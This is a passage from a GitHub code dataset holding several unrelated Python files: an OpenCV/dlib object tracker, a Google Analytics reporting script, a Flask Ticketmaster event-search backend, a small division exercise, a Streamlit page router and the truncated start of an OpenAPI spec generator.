(\n i for i in results if i.can_stream == filters['can_stream']\n )\n\n return list(results)\n","repo_name":"bkosciow/proxy_lcd","sub_path":"repository/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":4477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70468242801","text":"# 简单的单目标跟踪\ndef demo1():\n import sys\n import dlib\n import cv2\n\n tracker = dlib.correlation_tracker() # 导入correlation_tracker()类\n cap = cv2.VideoCapture(r\"E:\\bigdata\\ai\\video\\0004.mp4\") # OpenCV打开摄像头\n start_flag = True # 标记,是否是第一帧,若在第一帧需要先初始化\n selection = None # 实时跟踪鼠标的跟踪区域\n track_window = None # 要检测的物体所在区域\n drag_start = None # 标记,是否开始拖动鼠标\n\n # 鼠标点击事件回调函数\n def onMouseClicked(event, x, y, flags, param):\n nonlocal selection, track_window, drag_start # 定义demo1方法级别的变量\n # 如果没有demo1 使用这个 global selection, track_window, drag_start # 定义全局变量\n if event == cv2.EVENT_LBUTTONDOWN: # 鼠标左键按下\n drag_start = (x, y)\n track_window = None\n if drag_start: # 是否开始拖动鼠标,记录鼠标位置\n xMin = min(x, drag_start[0])\n yMin = min(y, drag_start[1])\n xMax = max(x, drag_start[0])\n yMax = max(y, drag_start[1])\n selection = (xMin, yMin, xMax, yMax)\n if event == cv2.EVENT_LBUTTONUP: # 鼠标左键松开\n drag_start = None\n track_window = selection\n selection = None\n\n if __name__ == '__main__':\n cv2.namedWindow(\"image\", cv2.WINDOW_AUTOSIZE)\n cv2.setMouseCallback(\"image\", onMouseClicked)\n\n # opencv的bgr格式图片转换成rgb格式\n # b, g, r = cv2.split(frame)\n # frame2 = cv2.merge([r, g, b])\n\n while (1):\n ret, frame = cap.read() # 从摄像头读入1帧\n\n if start_flag == True: # 如果是第一帧,需要先初始化\n # 这里是初始化,窗口中会停在当前帧,用鼠标拖拽一个框来指定区域,随后会跟踪这个目标;我们需要先找到目标才能跟踪不是吗?\n while True:\n img_first = frame.copy() # 不改变原来的帧,拷贝一个新的出来\n if track_window: # 跟踪目标的窗口画出来了,就实时标出来\n cv2.rectangle(img_first, (track_window[0], track_window[1]), (track_window[2], track_window[3]),\n (0, 0, 255), 1)\n elif selection: # 跟踪目标的窗口随鼠标拖动实时显示\n cv2.rectangle(img_first, (selection[0], selection[1]), (selection[2], selection[3]),\n (0, 0, 255), 1)\n cv2.imshow(\"image\", img_first)\n # 按下回车,退出循环\n if cv2.waitKey(5) == 13:\n break\n start_flag = False # 初始化完毕,不再是第一帧了\n tracker.start_track(frame, dlib.rectangle(track_window[0], track_window[1], track_window[2],\n track_window[3])) # 跟踪目标,目标就是选定目标窗口中的\n else:\n tracker.update(frame) # 更新,实时跟踪\n\n box_predict = tracker.get_position() # 得到目标的位置\n cv2.rectangle(frame, (int(box_predict.left()), int(box_predict.top())),\n (int(box_predict.right()), int(box_predict.bottom())), (0, 255, 255), 1) # 用矩形框标注出来\n cv2.imshow(\"image\", frame)\n # 如果按下ESC键,就退出\n if cv2.waitKey(10) == 27:\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\nimport sys\nimport dlib\nimport cv2\n\n\"\"\"\n操作有一些改变:\n初始时,会自动从摄像头采集图像显示;\n先点击下鼠标再按下空格,暂停;此时若再按空格,恢复实时显示,但不进行目标跟踪;\n暂停时,拖动鼠标会显示红框,按下回车 ,将红框内物体视为目标进行识别;\n随后实时识别,以橙框标出;\n按ESC键退出。\n\"\"\"\n\n\nclass myCorrelationTracker(object):\n def __init__(self, windowName='default window', cameraNum=0):\n # 自定义几个状态标志\n self.STATUS_RUN_WITHOUT_TRACKER = 0 # 不跟踪目标,但是实时显示\n self.STATUS_RUN_WITH_TRACKER = 1 # 跟踪目标,实时显示\n self.STATUS_PAUSE = 2 # 暂停,卡在当前帧\n self.STATUS_BREAK = 3 # 退出\n self.status = self.STATUS_RUN_WITHOUT_TRACKER # 指示状态的变量\n\n # 这几个跟前面程序1定义的变量一样\n self.track_window = None # 实时跟踪鼠标的跟踪区域\n self.drag_start = None # 要检测的物体所在区域\n self.start_flag = True # 标记,是否开始拖动鼠标\n\n # 创建好显示窗口\n cv2.namedWindow(windowName, cv2.WINDOW_AUTOSIZE)\n cv2.setMouseCallback(windowName, self.onMouseClicked)\n self.windowName = windowName\n\n # 打开摄像头\n self.cap = cv2.VideoCapture(cameraNum)\n\n # correlation_tracker()类,跟踪器,跟程序1中一样\n self.tracker = dlib.correlation_tracker()\n\n # 当前帧\n self.frame = None\n\n # 按键处理函数\n def keyEventHandler(self):\n keyValue = cv2.waitKey(5) # 每隔5ms读取一次按键的键值\n if keyValue == 27: # ESC\n self.status = self.STATUS_BREAK\n if keyValue == 32: # 空格\n if self.status != self.STATUS_PAUSE: # 按下空格,暂停播放,可以选定跟踪的区域\n # print self.status\n self.status = self.STATUS_PAUSE\n # print self.status\n else: # 再按次空格,重新播放,但是不进行目标识别\n if self.track_window:\n self.status = self.STATUS_RUN_WITH_TRACKER\n self.start_flag = True\n else:\n self.status = self.STATUS_RUN_WITHOUT_TRACKER\n if keyValue == 13: # 回车\n # print '**'\n if self.status == self.STATUS_PAUSE: # 按下空格之后\n if self.track_window: # 如果选定了区域,再按回车,表示确定选定区域为跟踪目标\n self.status = self.STATUS_RUN_WITH_TRACKER\n self.start_flag = True\n\n # 任务处理函数\n def processHandler(self):\n # 不跟踪目标,但是实时显示\n if self.status == self.STATUS_RUN_WITHOUT_TRACKER:\n ret, self.frame = self.cap.read()\n cv2.imshow(self.windowName, self.frame)\n # 暂停,暂停时使用鼠标拖动红框,选择目标区域,与程序1类似\n elif self.status == self.STATUS_PAUSE:\n img_first = self.frame.copy() # 不改变原来的帧,拷贝一个新的变量出来\n if self.track_window: # 跟踪目标的窗口画出来了,就实时标出来\n cv2.rectangle(img_first, (self.track_window[0], self.track_window[1]),\n (self.track_window[2], self.track_window[3]), (0, 0, 255), 1)\n elif self.selection: # 跟踪目标的窗口随鼠标拖动实时显示\n cv2.rectangle(img_first, (self.selection[0], self.selection[1]), (self.selection[2], self.selection[3]),\n (0, 0, 255), 1)\n cv2.imshow(self.windowName, img_first)\n # 退出\n elif self.status == self.STATUS_BREAK:\n self.cap.release() # 释放摄像头\n cv2.destroyAllWindows() # 释放窗口\n sys.exit() # 退出程序\n # 跟踪目标,实时显示\n elif self.status == self.STATUS_RUN_WITH_TRACKER:\n ret, self.frame = self.cap.read() # 从摄像头读取一帧\n if self.start_flag: # 如果是第一帧,需要先初始化\n self.tracker.start_track(self.frame, dlib.rectangle(self.track_window[0], self.track_window[1],\n self.track_window[2],\n self.track_window[3])) # 开始跟踪目标\n self.start_flag = False # 不再是第一帧\n else:\n self.tracker.update(self.frame) # 更新\n\n # 得到目标的位置,并显示\n box_predict = self.tracker.get_position()\n cv2.rectangle(self.frame, (int(box_predict.left()), int(box_predict.top())),\n (int(box_predict.right()), int(box_predict.bottom())), (0, 255, 255), 1)\n cv2.imshow(self.windowName, self.frame)\n\n # 鼠标点击事件回调函数\n def onMouseClicked(self, event, x, y, flags, param):\n if event == cv2.EVENT_LBUTTONDOWN: # 鼠标左键按下\n self.drag_start = (x, y)\n self.track_window = None\n if self.drag_start: # 是否开始拖动鼠标,记录鼠标位置\n xMin = min(x, self.drag_start[0])\n yMin = min(y, self.drag_start[1])\n xMax = max(x, self.drag_start[0])\n yMax = max(y, self.drag_start[1])\n self.selection = (xMin, yMin, xMax, yMax)\n if event == cv2.EVENT_LBUTTONUP: # 鼠标左键松开\n self.drag_start = None\n self.track_window = self.selection\n self.selection = None\n\n def run(self):\n while (1):\n self.keyEventHandler()\n self.processHandler()\n\n\nif __name__ == '__main__':\n testTracker = myCorrelationTracker(windowName='image', cameraNum=0) # r\"E:\\bigdata\\ai\\video\\0004.mp4\"\n testTracker.run()\n","repo_name":"kingreatwill/penter","sub_path":"third/dliblib/04_flow.py","file_name":"04_flow.py","file_ext":"py","file_size_in_byte":9756,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"75"} +{"seq_id":"20302645130","text":"from googleapiclient.errors import HttpError\nfrom googleapiclient import sample_tools\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom httplib2 import Http\nfrom apiclient.discovery import build\nimport pandas as pd\nfrom datetime import date\nimport os\n\n# Authenticate and create the service for the Core Reporting API\ncredentials = ServiceAccountCredentials.from_json_keyfile_name(\n '/Users/coristig/Downloads/My Project-e038d19ed699.json', ['https://www.googleapis.com/auth/analytics.readonly'])\nhttp_auth = credentials.authorize(Http())\nservice = build('analytics', 'v3', http=http_auth)\n\n# Yhat domain 67218338\n# https://analytics.google.com/analytics/web/?hl=en#report/content-event-events/a37140626w65425131p67218338/%3F_r.drilldown%3Danalytics.eventAction%3Adownload%2Canalytics.eventCategory%3ARodeo-backend%26explorer-graphOptions.selected%3Danalytics.nthDay%26explorer-graphOptions.primaryConcept%3Danalytics.uniqueEventsTrue%26explorer-table.plotKeys%3D%5B%5B%22Linux%22%5D%2C%5B%22Macintosh%22%5D%2C%5B%22Windows%22%5D%5D/\ndef get_downloads(service):\n return service.data().ga().get(\n ids='ga:67218338',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:uniqueEvents',\n dimensions='ga:date,ga:eventLabel',\n sort='ga:date',\n filters='ga:eventAction==download;ga:eventCategory==Rodeo'\n )\n\ndef get_downloads_with_os_version(service):\n return service.data().ga().get(\n ids='ga:67218338',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:uniqueEvents',\n dimensions='ga:date,ga:operatingSystem,ga:operatingSystemVersion',\n sort='ga:date',\n filters='ga:eventAction==download;ga:eventCategory==Rodeo',\n start_index='1'\n )\n\n# Rodeo Domain: 125637421\ndef get_total_and_new_users(service):\n return service.data().ga().get(\n ids='ga:125637421',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:newusers,ga:users',\n dimensions='ga:date',\n sort='ga:date',\n start_index='1'\n )\n\ndef get_new_users(service):\n return service.data().ga().get(\n ids='ga:125637421',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:newusers',\n dimensions='ga:date,ga:operatingSystem',\n sort='ga:date',\n start_index='1'\n )\n\ndef get_new_users_with_version(service):\n return service.data().ga().get(\n ids='ga:125637421',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:newusers',\n dimensions='ga:date,ga:operatingSystem,ga:operatingSystemVersion',\n sort='ga:date',\n start_index='1'\n )\n\ndef new_users_command_result(service):\n return service.data().ga().get(\n ids='ga:125637421',\n start_date='90daysAgo',\n end_date='yesterday',\n metrics='ga:sessions',\n dimensions='ga:date,ga:operatingSystem',\n sort='ga:date',\n filters='ga:eventAction==execute_result',\n segment='gaid::-2',\n start_index='1'\n )\n\ndownloads = get_downloads(service).execute()\ndownloads_ver = get_downloads_with_os_version(service).execute()\nusers = get_total_and_new_users(service).execute()\n\nnew_users = get_new_users(service).execute()\nnew_users_ver = get_new_users_with_version(service).execute()\nnew_users_cmd = new_users_command_result(service).execute()\n\ndl = pd.DataFrame(downloads['rows'], columns=['date','OS','downloads'])\ndl.OS = dl.OS.map(lambda x: 'Windows' if(x.find('Windows')==0) else x)\ndl.OS = dl.OS.map(lambda x: 'Macintosh' if(x.find('OS X')==0) else x)\ndl.downloads = dl.downloads.astype(int)\ndl = dl.groupby(['date','OS'], sort=False, as_index=False).sum()\n\ndlv = pd.DataFrame(downloads_ver['rows'], columns=['date','OS','version','downloads'])\n\nnu = pd.DataFrame(new_users['rows'], columns=['date','OS','new_users'])\nnuv = pd.DataFrame(new_users_ver['rows'], columns=['date','OS','version','new_users'])\nnuc = pd.DataFrame(new_users_cmd['rows'], columns=['date','OS','new_user_cmds'])\n\n\nloss = pd.merge(dl, nu, on=['date','OS'])\nloss = pd.merge(loss, nuc, on=['date','OS'])\n\nloss.downloads = loss.downloads.astype('int')\nloss.new_users = loss.new_users.astype('int')\nloss.new_user_cmds = loss.new_user_cmds.astype('int')\n\nloss['download_loss'] = loss['downloads'] - loss['new_users']\nloss['new_user_loss'] = loss['new_users']- loss['new_user_cmds']\nloss['total_loss'] = loss['downloads'] - loss['new_user_cmds']\n\nloss.date = pd.DatetimeIndex(loss['date'])\n\nloss_g = loss\nloss_g['week'] = pd.DatetimeIndex(loss_g['date']).weekofyear\nloss_w = loss_g.groupby(['week','OS'], sort=False,as_index=False)['downloads','new_users','new_user_cmds','download_loss','new_user_loss','total_loss'].sum()\n\n\n# Create a Pandas Excel writer using XlsxWriter as the engine.\nxlname = date.today().strftime(\"%d-%m-%y\") + '_rodeo.xlsx'\nwriter = pd.ExcelWriter(xlname, engine='xlsxwriter')\nworkbook = writer.book\n\nfor OS in ['Macintosh', 'Windows', 'Linux']: \n print(OS)\n loss_w[loss_w.OS==OS].to_excel(writer, index=False, sheet_name=OS)\n loss_w[loss_w.OS==OS].to_excel(writer, index=False, sheet_name=OS)\n loss_w[loss_w.OS==OS].to_excel(writer, index=False, sheet_name=OS)\n\n# worksheet = writer.sheets[OS]\n\n# Configure the series of the chart from the dataframe data.\nos.chdir('/job/output-files/')\nwriter.save()\n\n# https://analytics.google.com/analytics/web/?hl=en#report/visitors-cohort/a37140626w120093807p125637421/%3FcohortTab-cohortOption.hasLoaded%3Dtrue%26cohortTab-cohortOption.granularity%3DWEEKLY%26cohortTab-cohortOption.dateRange%3D6%26cohortTab-cohortOption.selectedMetric%3Danalytics.cohortRetentionRate%26cohortTab-cohortOption.selectedDimension%3Danalytics.firstVisitDate%26_.useg%3DusertysdwRIsQZ60HMps_Zaehg%2CuserrxDFsCL0S7yim8aYyygRDw/\n\n\n","repo_name":"yhat/bandit-demos","sub_path":"excel-demo/rodeo_ga_analytics.py","file_name":"rodeo_ga_analytics.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"29246989282","text":"import collections\nimport requests\nfrom flask import Flask, request, jsonify\nfrom geolib import geohash\n\n\ntmUrl = \"https://app.ticketmaster.com/discovery/v2/events.json\"\ngeoUrl = \"https://maps.googleapis.com/maps/api/geocode/json\"\ngmapsUrl = \"https://www.google.com/maps/search/?api=1&query=\"\n\n#Insert your API keys here\ngoogleApiKey = \"\"\ntmApiKey = \"\" \n\n\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET'])\ndef homepage():\n return app.send_static_file(\"event.html\")\n\n\n@app.route('/search', methods=['GET'])\ndef getDataFromClient():\n temp = request.args.get('keyword', '')\n key = temp.replace(\"%20\", \"+\")\n dist = request.args.get('distance', '')\n category = request.args.get('categories', '')\n location = request.args.get('locInput', '')\n locCheck = request.args.get('locCheck', '')\n\n if locCheck == \"on\":\n lat = location.split(\",\")[0]\n long = location.split(\",\")[1]\n geoval = getGeoHash(lat, long)\n else:\n geoval = geoCoding(location)\n\n param = {'apikey': tmApiKey, 'keyword': key, 'radius': dist, 'unit': 'miles', 'geoPoint': geoval}\n if (category.lower() != 'default'):\n segment = getSegmentId(category)\n param['segmentId'] = segment\n result = getFunction(tmUrl, param)\n obj = extractSearchDetails(result.json())\n res = jsonify({'data': obj})\n res.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n res.headers.add(\"Access-Control-Allow-Headers\", \"*\")\n res.headers.add(\"Access-Control-Allow-Methods\", \"*\")\n return res\n \n\n\n@app.route('/eventdetails')\ndef getEventDetails():\n id = request.args.get('eventId', '')\n tempUrl = tmUrl.replace('events.json', 'events/')\n finalUrl = tempUrl + id\n print(finalUrl)\n param = {'apikey': tmApiKey}\n result = getFunction(finalUrl, param)\n # return result.json()\n obj = extractEventDetails(result.json())\n res = jsonify({'data': obj})\n res.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n res.headers.add(\"Access-Control-Allow-Headers\", \"*\")\n res.headers.add(\"Access-Control-Allow-Methods\", \"*\")\n return res\n\n\n@app.route('/venuedetails')\ndef getVenueDetails():\n name = request.args.get('venue', '')\n url = tmUrl.replace('events.json', 'venues')\n param = {'apikey': tmApiKey, 'keyword': name}\n result = getFunction(url, param)\n obj = extractVenueDetails(result.json())\n res = jsonify({'data': obj})\n res.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n res.headers.add(\"Access-Control-Allow-Headers\", \"*\")\n res.headers.add(\"Access-Control-Allow-Methods\", \"*\")\n return res\n\n\n#given json results from ticketmaster event search API, extract useful information\ndef extractSearchDetails(result):\n if '_embedded' not in result or 'events' not in result['_embedded'] or len(result['_embedded']['events']) == 0:\n return ['No Results Found']\n \n details = []\n\n for i in range(min(20,len(result['_embedded']['events']))):\n temp = {}\n if 'dates' in result['_embedded']['events'][i] and 'start' in result['_embedded']['events'][i]['dates']:\n if 'localDate' in result['_embedded']['events'][i]['dates']['start']:\n if 'localTime' in result['_embedded']['events'][i]['dates']['start']:\n temp['localDate'] = result['_embedded']['events'][i]['dates']['start']['localDate'] + \"
\" + result['_embedded']['events'][i]['dates']['start']['localTime']\n else:\n temp['localDate'] = result['_embedded']['events'][i]['dates']['start']['localDate']\n \n\n if 'images' in result['_embedded']['events'][i] and len(result['_embedded']['events'][i]['images']) > 0 and 'url' in result['_embedded']['events'][i]['images'][0]:\n temp['image'] = result['_embedded']['events'][i]['images'][0]['url']\n\n if 'name' in result['_embedded']['events'][i]:\n temp['eventName'] = result['_embedded']['events'][i]['name']\n\n if 'classifications' in result['_embedded']['events'][i] and len(result['_embedded']['events'][i]['classifications']) > 0:\n if 'segment' in result['_embedded']['events'][i]['classifications'][0] and 'name' in result['_embedded']['events'][i]['classifications'][0]['segment']:\n temp['genre'] = result['_embedded']['events'][i]['classifications'][0]['segment']['name']\n\n if '_embedded' in result['_embedded']['events'][i] and 'venues' in result['_embedded']['events'][i]['_embedded']:\n if len(result['_embedded']['events'][i]['_embedded']['venues']) > 0 and 'name' in result['_embedded']['events'][i]['_embedded']['venues'][0]:\n temp['venue'] = result['_embedded']['events'][i]['_embedded']['venues'][0]['name']\n \n if 'id' in result['_embedded']['events'][i]:\n temp['eventId'] = result['_embedded']['events'][i]['id']\n \n if len(temp) > 0:\n details.append(temp)\n \n return details\n\n\ndef extractEventDetails(result):\n details = collections.defaultdict(str)\n\n if ('name' in result):\n details['name'] = result['name']\n \n if ('dates' in result) and 'start' in result['dates'] and 'localDate' in result['dates']['start']:\n if 'localTime' in result['dates']['start']:\n details['date'] = result['dates']['start']['localDate'] + \" \" + result['dates']['start']['localTime']\n else:\n details['date'] = result['dates']['start']['localDate']\n\n if ('_embedded' in result) and ('attractions' in result['_embedded']) and (len(result['_embedded']['attractions']) >0):\n if 'name' in result['_embedded']['attractions'][0]:\n details['artist'] = result['_embedded']['attractions'][0]['name']\n if 'url' in result['_embedded']['attractions'][0]:\n details['artist_url'] = result['_embedded']['attractions'][0]['url']\n\n if ('_embedded' in result) and ('venues' in result['_embedded']) and (len(result['_embedded']['venues']) >0):\n if 'name' in result['_embedded']['venues'][0]:\n details['venue'] = result['_embedded']['venues'][0]['name']\n\n genre_list = []\n if ('classifications' in result) and (len(result['classifications']) >0):\n genre_list.append(result['classifications'][0].get('subGenre', {}).get('name', 'Undefined'))\n genre_list.append(result['classifications'][0].get('genre', {}).get('name', 'Undefined'))\n genre_list.append(result['classifications'][0].get('segment', {}).get('name', 'Undefined'))\n genre_list.append(result['classifications'][0].get('subType', {}).get('name', 'Undefined'))\n genre_list.append(result['classifications'][0].get('type', {}).get('name', 'Undefined'))\n first = True\n for i in range(len(genre_list)):\n if genre_list[i] != 'Undefined':\n if first:\n details['genre'] += genre_list[i]\n first = False\n else:\n details['genre'] += ' | ' + genre_list[i]\n\n if ('priceRanges' in result) and len(result['priceRanges'])>0:\n details['price'] = str(result['priceRanges'][0]['min']) + '-' + str(result['priceRanges'][0]['max']) + ' USD'\n \n if 'dates' in result and 'status' in result['dates']:\n details['ticketStatus'] = ''.join(result['dates']['status']['code'].lower())\n\n if 'url' in result:\n details['buyUrl'] = result['url']\n if 'seatmap' in result and 'staticUrl' in result['seatmap']:\n details['seatmap'] = result['seatmap']['staticUrl']\n\n return details\n\n\ndef extractVenueDetails(result):\n if '_embedded' not in result or 'venues' not in result['_embedded'] or len(result['_embedded']['venues']) == 0:\n return ['No Results Found']\n\n details = {}\n if ('_embedded' in result) and ('venues' in result['_embedded']) and (len(result['_embedded']['venues']) >0):\n if 'name' in result['_embedded']['venues'][0]:\n details['name'] = result['_embedded']['venues'][0]['name']\n if 'address' in result['_embedded']['venues'][0] and 'line1' in result['_embedded']['venues'][0]['address']:\n details['address'] = result['_embedded']['venues'][0]['address']['line1']\n if 'postalCode' in result['_embedded']['venues'][0]:\n details['pincode'] = result['_embedded']['venues'][0]['postalCode']\n if 'url' in result['_embedded']['venues'][0]:\n details['upcoming'] = result['_embedded']['venues'][0]['url']\n if ('city' in result['_embedded']['venues'][0]) and ('name' in result['_embedded']['venues'][0]['city']):\n if ('state' in result['_embedded']['venues'][0]) and ('stateCode' in result['_embedded']['venues'][0]['state']):\n details['city'] = result['_embedded']['venues'][0]['city']['name'] + ', ' + result['_embedded']['venues'][0]['state']['stateCode']\n else:\n details['city'] = result['_embedded']['venues'][0]['city']['name']\n if ('images' in result['_embedded']['venues'][0]) and len(result['_embedded']['venues'][0]['images'])>0:\n if ('url' in result['_embedded']['venues'][0]['images'][0]):\n details['vimage'] = result['_embedded']['venues'][0]['images'][0]['url']\n temp = \"\"\n if 'name' in details:\n temp = details['name']\n if 'address' in details:\n temp += '%2C+' + details['address'] \n if 'city' in details:\n temp += '%2C+' + details['city'] \n if 'pincode' in details:\n temp += '%2C+' + details['pincode']\n full = temp.replace(' ', '+')\n details['googleLink'] = gmapsUrl + full.replace(',', '%2C')\n\n return details\n\n#make a get request\ndef getFunction(url, param):\n result = requests.get(url, params=param, headers={'Content-Type': 'application/json'})\n if result.status_code == 200:\n return result\n return str(result.status_code)\n\n\ndef getSegmentId(category):\n lookup = {'music': 'KZFzniwnSyZfZ7v7nJ', 'sports': 'KZFzniwnSyZfZ7v7nE', 'arts': 'KZFzniwnSyZfZ7v7na', \n 'theatre': 'KZFzniwnSyZfZ7v7na', 'film': 'KZFzniwnSyZfZ7v7nn', 'miscellaneous': 'KZFzniwnSyZfZ7v7n1'}\n\n return lookup[category.lower()]\n\n\n#call google geocoding api and then hashcode the lat, long retieved\ndef geoCoding(location):\n try:\n temp = location.replace(\"%20\", \"+\")\n param = {'key': googleApiKey, 'address': temp}\n result = getFunction(geoUrl, param)\n res = result.json()\n lat = res['results'][0]['geometry']['location']['lat']\n long = res['results'][0]['geometry']['location']['lng']\n res = getGeoHash(lat, long)\n except:\n res = \"\"\n \n return res\n \n\n\ndef getGeoHash(lat, long):\n return geohash.encode(lat, long, 5)\n\n\nif __name__ == \"__main__\":\n app.run(debug = True)\n\n ","repo_name":"Mridul-Goyal/Web-development","sub_path":"Event search - Python backend/backend/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9675689919","text":"# -*- coding: utf-8 -*-\n\"\"\"\nExercice if division. Si le diviseur est nul, afficher un message\n\"\"\"\n\ndividende = int(input(\"entrez un nombre entier, le dividende : \"))\ndiviseur = int(input(\"entrez un nombre entier, le diviseur : \"))\nif diviseur != 0:\n print(\"Le résultat de \", dividende, \"divisé par\",diviseur,\"est :\", dividende//diviseur)\nelse :\n print(\"Le diviseur ne peut être nul (0)\")","repo_name":"RobertGodin/CodePython","sub_path":"ExerciceIfDiviseur0.py","file_name":"ExerciceIfDiviseur0.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17196114697","text":"import streamlit as st\n\nfrom . import data_geographic, data_parking, model_building\n\n\nclass MultiPage:\n def __init__(self):\n self.pages = []\n pass\n\n def add_page(self, title, func):\n self.pages.append(\n {\n 'title': title,\n 'function': func,\n }\n )\n\n def run(self):\n page = st.sidebar.radio(\n 'Please Choose The Part You Want:',\n self.pages,\n format_func=lambda page: page['title']\n )\n\n page['function']()\n\n\ndef parking_of_app():\n sub_app = MultiPage()\n\n sub_app.add_page('Spatial Feature Analysis', data_geographic.app)\n sub_app.add_page('Time Series Analysis', data_parking.app)\n sub_app.add_page('LSTM Prediction', model_building.app)\n\n sub_app.run()\n","repo_name":"prayerqihang/Streamlit_app","sub_path":"Page/machine_learning/parking_occupancy_forecast/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15210114672","text":"import os \nimport re\nimport yaml\nimport json\n\n\nfolder = '/Users/darrenmp/Documents/vscode/db-ppdm-copy/permen_dto/no_gorm/'\nviews = []\n\n\ndef afe_filler():\n afe_example = {\"example\": {\n \"afe_number\": 1,\n \"workspace_name\": \"LoremIpsum\",\n \"kkks_name\": \"LoremIpsum\",\n \"working_area\": \"LoremIpsum\",\n \"submission_type\": \"Lorem\",\n \"data_type\": rf\"{tag}\",\n \"email\": \"john.richardson@gtn.id\"}\n }\n return afe_example\n\n\ndef workspace_filler():\n workspace_example = {\"example\": {\n \"Id\": 1,\n \"Afe_number\": 1,\n rf\"{workspace_id}\": 1}\n }\n return workspace_example\n\n\ndef afe_struct_filler():\n\n afe_struct = {\"afe\" : {\n \"type\" : \"array\",\n \"items\" : {\n \"type\" : \"object\",\n \"properties\" : {\n \"afe_number\": {\n \"type\": \"integer\"\n },\n \"workspace_name\": {\n \"type\": \"string\"\n },\n \"kkks_name\" : {\n \"type\" : \"string\"\n },\n \"working_area\" : {\n \"type\" : \"string\"\n },\n \"submission_type\" : {\n \"type\" : \"string\"\n },\n \"data_type\" : {\n \"type\" : \"string\"\n }\n }\n }\n }}\n return afe_struct\n\ndef token_struct_filler():\n token = \"\"\"\n {\n \"Token\": {\n \"title\": \"Token\",\n \"required\": [\n \"access_token\",\n \"token_type\",\n \"type\",\n \"name\",\n \"expiry_date\",\n \"affiliation\"\n ],\n \"type\": \"object\",\n \"properties\": {\n \"access_token\": {\n \"title\": \"Access Token\",\n \"type\": \"string\"\n },\n \"token_type\": {\n \"title\": \"Token Type\",\n \"type\": \"string\"\n },\n \"type\": {\n \"$ref\": \"#/components/schemas/UserType\"\n },\n \"name\": {\n \"title\": \"Name\",\n \"type\": \"string\"\n },\n \"expiry_date\": {\n \"title\": \"Expiry Date\",\n \"type\": \"string\"\n },\n \"affiliation\": {\n \"title\": \"Affiliation\",\n \"type\": \"string\"\n }\n }\n },\n \"HTTPValidationError\": {\n \"title\": \"HTTPValidationError\",\n \"type\": \"object\",\n \"properties\": {\n \"detail\": {\n \"title\": \"Detail\",\n \"type\": \"array\",\n \"items\": {\n \"$ref\": \"#/components/schemas/ValidationError\"\n }\n }\n }\n },\n \"UserType\": {\n \"title\": \"UserType\",\n \"enum\": [\n \"Administrator\",\n \"Regular User\",\n \"Premium User\"\n ],\n \"type\": \"string\",\n \"description\": \"An enumeration.\"\n },\n \"ValidationError\": {\n \"title\": \"ValidationError\",\n \"required\": [\n \"loc\",\n \"msg\",\n \"type\"\n ],\n \"type\": \"object\",\n \"properties\": {\n \"loc\": {\n \"title\": \"Location\",\n \"type\": \"array\",\n \"items\": {\n \"anyOf\": [\n {\n \"type\": \"string\"\n },\n {\n \"type\": \"integer\"\n }\n ]\n }\n },\n \"msg\": {\n \"title\": \"Message\",\n \"type\": \"string\"\n },\n \"type\": {\n \"title\": \"Error Type\",\n \"type\": \"string\"\n }\n }\n },\n \"Body_login_for_access_token_token_post\": {\n \"title\": \"Body_login_for_access_token_token_post\",\n \"required\": [\n \"username\",\n \"password\"\n ],\n \"type\": \"object\",\n \"properties\": {\n \"grant_type\": {\n \"title\": \"Grant Type\",\n \"pattern\": \"password\",\n \"type\": \"string\"\n },\n \"username\": {\n \"title\": \"Username\",\n \"type\": \"string\"\n },\n \"password\": {\n \"title\": \"Password\",\n \"type\": \"string\"\n },\n \"scope\": {\n \"title\": \"Scope\",\n \"type\": \"string\",\n \"default\": \"\"\n },\n \"client_id\": {\n \"title\": \"Client Id\",\n \"type\": \"string\"\n },\n \"client_secret\": {\n \"title\": \"Client Secret\",\n \"type\": \"string\"\n }\n }\n }\n }\n \"\"\"\n token_dict = json.loads(token)\n return token_dict\n\n\n# Loop through files in the folder and get file names\nfor filename in os.listdir(folder):\n # Create the full file path by joining the folder path and filename\n file_path = os.path.join(folder, filename)\n\n\n # Check if the path corresponds to a file (not a subfolder)\n if os.path.isfile(file_path):\n # Extract the file name from the full file path\n file_name = os.path.basename(file_path)\n\n # Process the file name\n views.append(file_name)\n\n\n# views.remove(\".DS_Store\")\n\nprint(views)\n\n\nfor file in views:\n afe = \"afe\"\n title = \"\"\n tag = \"\"\n\n\n endpoint_holder = {'paths': {}}\n cur_file = f\"/Users/darrenmp/Documents/vscode/db-ppdm-copy/permen_dto/gorm/{file}\"\n\n\n split_file = file.split(\".\")\n seperated = re.findall('[A-Z][^A-Z]*', split_file[0])\n\n\n workspace_file = f\"/Users/darrenmp/Documents/vscode/db-ppdm-copy/permen_workspace_dto/gorm/{split_file[0]}/workspace.go\"\n\n\n\n for word in range (len(seperated)):\n if word == len(seperated)-1:\n title += seperated[word]\n tag += seperated[word]\n else:\n title += seperated[word]+\"_\"\n tag += seperated[word]+\" \"\n \n\n cur_table = {'components': {'schemas': {}, 'securitySchemes': {'OAuth2PasswordBearer': {'type': 'oauth2', \"flows\": {\"password\":{\"scopes\": {}, \"tokenUrl\": \"v1/token\"}}}}}}\n\n cur_table['components'][\"schemas\"].update(afe_struct_filler())\n 